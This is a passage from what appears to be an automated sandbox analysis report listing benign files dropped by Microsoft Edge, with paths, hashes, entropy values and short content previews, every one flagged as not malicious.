SHA-512:	72EC322FD95E724F8D37613F450F3EAA98F3791E473E2CF2210F3EB5FC377E66F179B3B41628A5CAC0E4664F42D85BE81EE57AA29A38FE4FA1F8A62730E8052A
Malicious:	false
Preview:	2024/10/30-20:18:35.771 1918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-20:18:35.772 1918 Recovering log #3.2024/10/30-20:18:35.772 1918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.232097852941441
Encrypted:	false
SSDEEP:	6:6FmBjL+q2P923oH+TcwtfrK+IFUt8vFmjUHz1Zmw+vFmjUHlLVkwO923oH+Tcwt5:6QBOv4Yeb23FUt8vQjsz1/+vQjsz5LYq
MD5:	29FFEA22A6E1087E97534971AAA20224
SHA1:	CBCC49737FAA554376A6D80577FD53D6A3BE9DAC
SHA-256:	7FD1F925EC3B4A9CA46B0E09BB3D6F5D7B57391B502966F1036F208F3E7CB588
SHA-512:	72EC322FD95E724F8D37613F450F3EAA98F3791E473E2CF2210F3EB5FC377E66F179B3B41628A5CAC0E4664F42D85BE81EE57AA29A38FE4FA1F8A62730E8052A
Malicious:	false
Preview:	2024/10/30-20:18:35.771 1918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/30-20:18:35.772 1918 Recovering log #3.2024/10/30-20:18:35.772 1918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.245129340027393
Encrypted:	false
SSDEEP:	6:6F22lL+q2P923oH+TcwtfrzAdIFUt8vFdTm1Zmw+vFdTwLVkwO923oH+TcwtfrzS:68v4Yeb9FUt8v7a1/+v7c5LYeb2J
MD5:	BB4FB269E589AE128177922BD5F48C07
SHA1:	E58F681362D0AA204D7A247ED4C8031AE3062210
SHA-256:	D3F41D043456E2DCDFA5BD2685732318AFD13785A10A40F61F291C954892E50B
SHA-512:	C2796EA11E6C18575F25237F15C90F168037A5C6FDBD6454C05428580B14A86EFADF5BD20CDE8C806373B3132701E092036B94FFF781189A5922876F451A07D1
Malicious:	false
Preview:	2024/10/30-20:18:35.767 1918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-20:18:35.768 1918 Recovering log #3.2024/10/30-20:18:35.768 1918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.245129340027393
Encrypted:	false
SSDEEP:	6:6F22lL+q2P923oH+TcwtfrzAdIFUt8vFdTm1Zmw+vFdTwLVkwO923oH+TcwtfrzS:68v4Yeb9FUt8v7a1/+v7c5LYeb2J
MD5:	BB4FB269E589AE128177922BD5F48C07
SHA1:	E58F681362D0AA204D7A247ED4C8031AE3062210
SHA-256:	D3F41D043456E2DCDFA5BD2685732318AFD13785A10A40F61F291C954892E50B
SHA-512:	C2796EA11E6C18575F25237F15C90F168037A5C6FDBD6454C05428580B14A86EFADF5BD20CDE8C806373B3132701E092036B94FFF781189A5922876F451A07D1
Malicious:	false
Preview:	2024/10/30-20:18:35.767 1918 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/30-20:18:35.768 1918 Recovering log #3.2024/10/30-20:18:35.768 1918 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39aca.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39b66.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39cae.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3c3af.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3f790.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ad72.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF50c0d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0907288127072405
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMWwuF9hDO6vP6O+3tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEk6utbz8hu3VlXr4CRo1
MD5:	BD5C0392A3A5C3674F21F0F85F4D0625
SHA1:	3D6323295DAF8F367A8AA0CBE80AE482702E93F1
SHA-256:	3479EC903DBF8920766E8858345B8D7C3EB7295E2C89A5A37AFBE5001238B681
SHA-512:	8A4535ED1E1DFBA1F627ACAE8A666D5C0E8BCE6F3FCCBB10DE4C9DEDAEA32448A25F3535EB716239B782D89147A0F842DAC205DDA4F38E668C51775A2DEEA8D7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
